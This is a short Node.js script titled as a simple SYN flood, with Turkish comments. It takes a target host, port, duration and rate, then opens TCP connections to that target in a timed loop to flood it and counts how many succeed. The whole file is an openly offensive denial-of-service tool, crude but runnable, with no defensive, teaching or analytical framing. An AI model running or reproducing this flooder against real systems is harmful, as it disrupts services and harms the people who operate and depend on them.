/ syn_fload.js
syn_fload.js
1 // syn_flood_simple.js - Basit SYN Flood 2 const net = require('net'); 3 4 console.log(`[+] SYN Flood: ${params.target}:${params.port}`); 5 6 const target = params.target; 7 const port = params.port; 8 const endTime = Date.now() + (params.duration * 1000); 9 const rate = params.rate || 500; 10 11 let count = 0; 12 13 function sendSYN() { 14 if (Date.now() > endTime) { 15 console.log(`\n[+] Toplam: ${count} SYN paketi`); 16 return; 17 } 18 19 const socket = new net.Socket(); 20 socket.unref(); 21 22 socket.on('error', () => { 23 // Hata beklenir - connection refused 24 }); 25 26 socket.on('connect', () => { 27 count++; 28 socket.end(); 29 }); 30 31 socket.connect(port, target); 32 33 // Rate kontrolü 34 setTimeout(sendSYN, 1000 / rate); 35 } 36 37 sendSYN();